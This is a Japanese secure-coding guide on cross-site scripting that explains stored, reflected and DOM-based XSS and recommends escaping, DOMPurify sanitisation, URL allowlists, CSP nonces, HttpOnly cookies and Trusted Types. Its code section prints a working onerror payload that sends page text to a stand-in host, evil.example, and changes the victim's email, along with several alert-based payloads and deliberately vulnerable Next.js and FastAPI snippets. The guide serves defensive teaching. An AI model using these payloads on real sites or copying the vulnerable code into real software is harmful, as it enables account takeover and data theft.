# 💉 XSS (Cross-Site Scripting) 攻撃
> **攻撃者が書いたスクリプトを、正規サイトのページの一部として、ほかの利用者のブラウザで動かす攻撃**

![XSS: 攻撃者が書いたスクリプトが、正規サイトのページの一部として、被害者のブラウザで動く。ブラウザは、正規サイトから届いたスクリプトを信じて実行する](xss.svg)

ブラウザは、正規サイトから届いた HTML の中のスクリプトを、正規サイトのものとして実行します。利用者の入力をエスケープせずにページに出すと、攻撃者が書いたスクリプトが、見た人のブラウザで、その人の権限で動きます。

## 📚 攻撃手順
次の 3 つがそろうと成立します。

![XSS が成立する 3 つの条件: 1. 利用者の入力をページに出す、2. HTML・JS として解釈される形で出す、3. ほかの利用者のブラウザで開かれる。どれか 1 つでも欠ければ成立しない](conditions.svg)

```mermaid
sequenceDiagram
    autonumber
    actor Attacker as 👿 攻撃者
    participant App as 🚀 正規サイト<br/>app.example
    actor User as 🥸 利用者 (被害者)
    participant Evil as 👿 攻撃者のサーバー<br/>evil.example

    rect rgb(150, 100, 100)
        Note over Attacker,App: スクリプトを仕込む
        Attacker->>App: 自己紹介を保存して
        Note right of Attacker: POST /profile<br/>bio=#lt;img src=x onerror=...#gt;
    end

    rect rgb(150, 150, 150)
        Note over App,User: ふだんどおりページを開く
        User->>+App: 攻撃者のプロフィールを開く (🍪 Cookie を付ける)
        App-->>-User: 自己紹介を、エスケープせずに HTML に埋めて返す
    end

    rect rgb(150, 100, 100)
        Note over App,Evil: スクリプトが、被害者の権限で動く
        User->>User: ブラウザが、app.example のスクリプトとして実行する
        User->>Evil: (スクリプトが) 画面の名前・メールアドレスを送る
        User->>+App: (スクリプトが) メールアドレスを、攻撃者のものに変えて
        Note right of User: 同じサイトからの送信なので、🍪 Cookie が付き、Origin も app.example
        App-->>-User: 🍪 Cookie が正しい → 本人の操作とみなして変える
    end
```

 - 攻撃者は、プロフィールの保存というふつうの機能を使うだけです。被害者は、ページを開いただけで被害に遭います
 - **HttpOnly では防げない**: HttpOnly の Cookie はスクリプトから読めませんが、スクリプトは被害者のブラウザで動くので、同じサイトへの送信には Cookie が自動で付きます。盗まずに、その場で被害者として操作します
 - **CSRF の対策も通る**: 送り元が正規サイトそのものなので、SameSite も Origin の確認も止めません ([CSRF の資料](../CSRF/README.md))

スクリプトの入り方で、3 つに分かれます。

| 種類 | 入り方 | 被害者に届く経路 |
|:--|:--|:--|
| 格納型 (Stored) | 投稿・自己紹介などに保存され、そのまま表示される (上の例) | ページを開いた人すべて |
| 反射型 (Reflected) | URL のパラメータ (検索語など) が、そのまま応答に出る | 罠のリンクを開かされた人 |
| DOM ベース | サーバーを通らず、ブラウザの JS が `location.hash` などを `innerHTML` に入れる | 罠のリンクを開かされた人 |

<details><summary>💻 <b>コードで見る: ③ の HTML はどう作られ、④ でどう動くか</b></summary>

③ で狙われる実装 (Next.js の例)

```tsx
// app/users/[id]/page.tsx: プロフィールのページ
export default async function ProfilePage({ params }: { params: Promise<{ id: string }> }) {
  const { id } = await params;
  const profile = await getProfile(id);
  // 自己紹介で改行や太字を使えるよう、HTML としてそのまま出している
  return <div dangerouslySetInnerHTML={{ __html: profile.bio }} />;
}
```

① で攻撃者は、自己紹介に次の文字列を保存します。

```html
<img src="x" onerror="
  // ⑤ 画面の名前・メールアドレスを、画像の URL に入れて攻撃者のサーバーへ送る
  new Image().src = 'https://evil.example/c?d=' + encodeURIComponent(document.body.innerText);
  // ⑥ 被害者として、メールアドレスを変える (同じサイトへの送信なので Cookie が付く)
  fetch('/api/email', { method: 'POST', body: new URLSearchParams({ email: 'attacker@evil.example' }) });
">
```

④ で、`src="x"` の画像の読み込みに失敗し、`onerror` の JS が app.example のスクリプトとして動きます。<br/>
サーバーで描いた HTML (最初の表示) なら、`<script>` も動きます。ただし、画面遷移でクライアントが `innerHTML` に入れたときは、`<script>` は動きません (HTML の仕様)。`onerror` はどちらでも動くので、攻撃者はこちらを使います。

⑥ のリクエストを、本人がメールアドレスを変えたときと比べると、違いがありません。

| ヘッダー | 本人の変更 | ⑥ のスクリプトの変更 |
|:--|:--|:--|
| `Cookie` | `session=abc123` | `session=abc123` (同じ) |
| `Origin` | `https://app.example` | `https://app.example` (同じ) |
| `Sec-Fetch-Site` | `same-origin` | `same-origin` (同じ) |

サーバーからは見分けられないので、守るにはスクリプトを動かさないことが要ります。

利用者の入力を入れる場所ごとに、危険かどうかが変わります。

| 書き方 | 利用者の入力を入れると |
|:--|:--|
| `<p>{bio}</p>` (JSX の `{}`) | ✅ React がエスケープし、文字として出す |
| `<div dangerouslySetInnerHTML={{ __html: bio }} />` | ❌ HTML として解釈される (上の例) |
| `<a href={url}>` | ⚠️ `javascript:` は React 19 が止めるが、`data:` などほかのプロトコルは通す (🔗 で確かめる) |
| `location.href = url`・`window.open(url)` | ❌ `javascript:` が動く |
| `element.innerHTML = value` | ❌ HTML として解釈される (DOM ベース) |
| FastAPI の `HTMLResponse` で、f-string で組み立てた HTML を返す | ❌ HTML として解釈される (反射型) |

React 19 は、`href`・`src`・`action` などの `javascript:` の URL を、押すと例外を投げるだけの URL に置き換えます (react-dom 19.3.1 の `sanitizeURL` で確かめた)。Next.js の `router.push` も `javascript:` を拒否します。どちらも、React や Next.js を通らない書き方は止めません。

```ts
// ❌ /login?next=javascript:alert(document.domain) で XSS
const next = new URLSearchParams(location.search).get("next") ?? "/";
location.href = next;
```

```ts
// ❌ /#<img src=x onerror=alert(document.domain)> で XSS (DOM ベース。サーバーのログにも残らない)
document.getElementById("greeting")!.innerHTML = decodeURIComponent(location.hash.slice(1));
```

```python
# ❌ /search?q=<script>alert(document.domain)</script> で XSS (反射型)
@app.get("/search", response_class=HTMLResponse)
def search(q: str):
    return f"<h1>「{q}」の検索結果</h1>"
```

</details>

## 💥 被害例
スクリプトは、被害者がそのページでできることを、すべてできます。

| 狙われるもの | 被害 |
|:--|:--|
| 被害者としての操作 | メールアドレス・パスワードの変更、投稿、送金をされる。メールアドレスを変えられると、パスワードリセットで乗っ取られる |
| 画面に出ている情報 | 個人情報・メッセージ・取引の履歴を読まれ、外へ送られる |
| Cookie・トークン | HttpOnly でない Cookie や、`localStorage` のトークンを盗まれ、攻撃者のブラウザで使われる |
| 画面そのもの | 偽のログインフォームを出され、パスワードを入力させられる。表示を書き換えられる |
| ほかの利用者 | 見た人のプロフィールにも同じスクリプトを書き込ませ、広がる (ワーム。例: 2005 年の MySpace の Samy ワーム、1 日で 100 万人超) |

## 🛡️ 対策
ケースごとに、次の対策を組み合わせます。MUST は必ず、SHOULD は当てはまらない理由が無い限り、WANT は必要なときに実装します。

| ケース | 対策 |
|:--|:--|
| 利用者の入力を画面に出す (どのケースでも) | 🔤 出す場所に合わせてエスケープする |
| 利用者が書いた HTML を出す (リッチテキストなど) | 🧼 サニタイズしてから出す |
| 利用者の URL を、リンクや遷移先に使う | 🔗 プロトコルの許可リスト |
| どのケースでも | 🛡️ CSP・🍪 Cookie とトークンをスクリプトから読ませない・📄 利用者のファイルをアプリのオリジンから配らない |
| 画面を作り直す・新しく作る | 🧷 Trusted Types |

入力の確かめ (文字数・形式) は補いにはなりますが、XSS の対策の中心ではありません。名前やコメントには `<` も `"` も入りうるので、出すときに守ります。

<details><summary>[MUST] 🔤 <b>出す場所に合わせてエスケープする / HTML を文字列で組み立てず、JSX やテンプレートに任せる</b></summary>

```tsx
// ✅ JSX の {} に入れると、React が < > & などをエスケープし、文字として出す
// 改行は HTML ではなく CSS で出す
return <p className="whitespace-pre-wrap">{profile.bio}</p>;
```

① の文字列は、`<img src="x" ...>` という文字のまま画面に出て、動きません。<br/>
FastAPI で HTML を返すときは、テンプレート (Jinja2) を使うか、入れる値をすべて `html.escape` します。

```python
import html

from fastapi.responses import HTMLResponse


@app.get("/search", response_class=HTMLResponse)
def search(q: str):
    # < > & " ' を &lt; などに置き換える
    return f"<h1>「{html.escape(q)}」の検索結果</h1>"
```

 - ⚠️ HTML のエスケープが効くのは、タグの間と、引用符で囲んだ属性の値だけです。`<script>` の中・`onclick` などのイベント属性・`style` の中には、利用者の値を入れません
 - ⚠️ `<script>` の中に `JSON.stringify` で値を埋めると、値の中の `</script>` で抜けられます
 - ⚠️ FastAPI (Starlette) の `Jinja2Templates` は、拡張子が `.html`・`.htm`・`.xml` のテンプレートだけを自動でエスケープします (Starlette 1.10 は `jinja2.select_autoescape()` を渡す。古い版は `autoescape=True` だった)。`.txt` などのテンプレートで HTML を返さない・`|safe` や `Markup()` を使わないでください

</details>

<details><summary>[MUST] 🧼 <b>利用者の HTML はサニタイズしてから出す / dangerouslySetInnerHTML に、そのまま渡さない</b></summary>

```tsx
import DOMPurify from "isomorphic-dompurify";

// 許可したタグと属性だけを残す。onerror・<script>・javascript: の URL は消える
const clean = DOMPurify.sanitize(profile.bio, {
  ALLOWED_TAGS: ["p", "br", "b", "strong", "i", "em", "ul", "ol", "li", "a"],
  ALLOWED_ATTR: ["href"],
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
```

① の文字列は、`img` を許可していないので、タグごと消えます。<br/>
Server Component はサーバーで動き、ブラウザの DOM が無いので、DOM を用意する `isomorphic-dompurify` を使います。

 - ⚠️ 正規表現で `<script>` を消す自作のサニタイズは、`<img onerror>`・`<svg onload>` などで破られます。DOMPurify のような、HTML を解析するライブラリを使います
 - ⚠️ サニタイズした後の文字列を、置換や連結で加工しないでください。無害にした形が崩れます
 - ⚠️ Markdown なら、生の HTML を描かないライブラリ (`react-markdown` は既定で描かない) を使えば、`dangerouslySetInnerHTML` 自体が要りません

</details>

<details><summary>[MUST] 🔗 <b>プロトコルの許可リスト / URL を解析し、https: と http: だけを通す</b></summary>

```ts
// 利用者の URL を、リンクや遷移先に使う前に確かめる。使えない URL なら null を返す
export function safeUrl(value: string, base: string): string | null {
  let url: URL;
  try {
    // 基準の URL を渡すと、相対 URL (/settings) も解析できる。base が無いと TypeError になる
    url = new URL(value, base);
  } catch {
    return null;
  }
  // javascript:・data:・vbscript: などを弾く
  return url.protocol === "https:" || url.protocol === "http:" ? url.href : null;
}

// ブラウザでは location.origin、サーバーではアプリのオリジンを base に渡す
// ログイン後の遷移先は、さらに同じオリジンに限る。外のサイトへ飛ばすオープンリダイレクトも防ぐ
const next = safeUrl(new URLSearchParams(location.search).get("next") ?? "/", location.origin);
location.href = next !== null && new URL(next).origin === location.origin ? next : "/";
```

解析した後の `url.href` を使います。元の文字列をそのまま使うと、確かめたものと違う形で解釈されることがあります。

 - ⚠️ 文字列の先頭で比べないでください (`value.startsWith("https:")` など)。相対 URL を弾き、大文字や前後の空白・制御文字の扱いも漏れます
 - ⚠️ ログイン後の遷移先のように、同じサイトの中だけに飛ばす値は、上の例のとおり `origin` も確かめます。プロトコルだけでは `https://evil.example/` が通り、外のサイトへ飛ばされます (オープンリダイレクト)
 - ⚠️ JSX の `href` は React 19 が `javascript:` を止めますが、`data:` などは通します。利用者の URL なら、JSX でも確かめます

</details>

<details><summary>[SHOULD] 🛡️ <b>CSP (Content-Security-Policy) / スクリプトが動いても、できることを減らす</b></summary>

Next.js で nonce を使わずに CSP を付けると、`script-src 'self' 'unsafe-inline'` になります。Next.js が hydration のために出すインラインの `<script>` を、nonce 無しで許すためです (nonce を使うと全ページが動的レンダリングになり、Cache Components の静的シェルが使えない)。この形では、**埋め込まれたインラインのスクリプト (`<script>`・`onerror`) は止まりません**。

それでも、動いたスクリプトが外へ送ったり、外のスクリプトを読み込んだりすることは減らせます。次の CSP の例で、何が止まるかを見ます。

```ts
// next.config.ts の headers() で返す CSP の例
const csp = [
  "default-src 'self'",
  "script-src 'self' 'unsafe-inline'",
  "img-src 'self' blob: data: https://images.example",
  "connect-src 'self'",
  "form-action 'self'",
  "object-src 'none'",
  "base-uri 'self'",
  "frame-ancestors 'none'",
].join("; ");
```

| スクリプトがすること | 上の CSP |
|:--|:--|
| 埋め込まれたインラインのスクリプトを動かす (④) | ❌ 止まらない (`script-src 'unsafe-inline'`) |
| 外のスクリプトを読み込む (`<script src="https://evil.example/x.js">`) | ✅ 止まる (`script-src 'self'`) |
| 画像の URL で外へ送る (⑤) | ✅ 止まる (`img-src` は、自オリジン・`blob:`・`data:` と決めたホストだけ) |
| `fetch`・`sendBeacon` で外へ送る | ✅ 止まる (`connect-src 'self'`) |
| フォームで外へ送る | ✅ 止まる (`form-action 'self'`) |
| 同じサイトへ送り、被害者として操作する (⑥) | ❌ 止まらない (`connect-src 'self'` が許す) |
| 外のページへ遷移し、URL に入れて送る (`location.href = "https://evil.example/?d=..."`) | ❌ 止まらない (CSP は遷移を制限しない) |

インラインのスクリプトまで止めるなら、リクエストごとの nonce を持つ `<script>` だけを動かします。

```ts
// proxy.ts: リクエストごとに nonce を作る (Next.js の Content Security Policy のガイドの形)
import { type NextRequest, NextResponse } from "next/server";

export function proxy(request: NextRequest) {
  const nonce = Buffer.from(crypto.randomUUID()).toString("base64");
  // 'strict-dynamic': nonce を持つスクリプトが読み込んだスクリプトも動かす。'self' や 'unsafe-inline' は無視される
  const csp = `script-src 'self' 'nonce-${nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'self'`; // ... ほかの指令
  const requestHeaders = new Headers(request.headers);
  // Next.js は、リクエストの CSP から nonce を読み、自分が出す <script> に付ける
  requestHeaders.set("Content-Security-Policy", csp);
  const response = NextResponse.next({ request: { headers: requestHeaders } });
  response.headers.set("Content-Security-Policy", csp);
  return response;
}
```

攻撃者は nonce を知らないので、埋め込んだ `<script>` や `onerror` は動きません。

 - ⚠️ nonce を使うと、全ページが動的レンダリングになります (静的生成・CDN のキャッシュ・Cache Components の静的シェルが使えない)。このトレードオフで `'unsafe-inline'` を選ぶなら、外への送信を止める指令 (`connect-src`・`img-src`・`form-action`) を絞ります
 - ⚠️ CSP は、エスケープ・サニタイズの漏れを補う二段目です。MUST の対策の代わりにはなりません

</details>

<details><summary>[SHOULD] 🍪 <b>Cookie とトークンをスクリプトから読ませない / 盗まれて、攻撃者のブラウザで使われるのを防ぐ</b></summary>

```ts
// セッション Cookie を発行するときの属性 (Next.js の cookies().set などに渡す)
const attributes = {
  httpOnly: true, // document.cookie から読めない
  secure: true, // HTTPS でだけ送る
  sameSite: "lax",
  path: "/",
} as const;
```

セッションを HttpOnly の Cookie に置き、API のトークンはサーバー (BFF) だけが持つ形にすると、XSS されても Cookie もトークンも盗まれません。

 - ⚠️ 防げるのは「盗んで、攻撃者のブラウザで使う」ことだけです。⑥ のように、被害者のブラウザの中で被害者として操作することは防げません
 - ⚠️ トークンを `localStorage`・`sessionStorage` や、HttpOnly でない Cookie に置かないでください。スクリプトから読めます

</details>

<details><summary>[SHOULD] 📄 <b>利用者のファイルをアプリのオリジンから配らない / SVG や HTML は、開くとスクリプトが動く</b></summary>

```python
# 利用者が上げたファイルは、別のオリジン (Cloud Storage) から、ダウンロードとして配る
url = blob.generate_signed_url(
    # ... 期限・署名する SA など (省く)
    # ブラウザで開かず、保存させる
    response_disposition="attachment",
)
```

署名付き URL の作り方の全体は、[パストラバーサルの資料](../PathTraversal/README.md) の 🪣 にあります。

`<script>` を入れた SVG や HTML を、アプリと同じオリジンから配ると、開いた人のブラウザで app.example のスクリプトとして動きます。別のオリジンから配れば、動いてもアプリの Cookie や画面には届きません。

 - ⚠️ API が利用者の文字列を返すときは、`text/html` ではなく JSON (`application/json`) で返します。FastAPI はモデルや dict を返せば JSON になります
 - ⚠️ `X-Content-Type-Options: nosniff` を付け、ブラウザに中身から種類を推測させません

</details>

<details><summary>[WANT] 🧷 <b>Trusted Types / innerHTML などに、ただの文字列を入れられなくする</b></summary>

```ts
// next.config.ts の CSP に足す
"require-trusted-types-for 'script'",
```

`innerHTML`・`outerHTML`・`document.write` などの危険な書き方に、ただの文字列を入れるとエラーになります。ポリシーを通した値 (DOMPurify の `RETURN_TRUSTED_TYPE: true` が返す値など) だけが入るので、DOM ベースの XSS を書いた時点で気づけます。

 - ⚠️ 使っているライブラリが `innerHTML` に文字列を入れていると、そこでも止まります。まず `Content-Security-Policy-Report-Only` で違反を集めてから強制します
 - ⚠️ 対応していないブラウザでは効きません。ほかの対策と組み合わせます

</details>

詳しくは [OWASP の Cross Site Scripting Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) と [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html) にまとまっています。
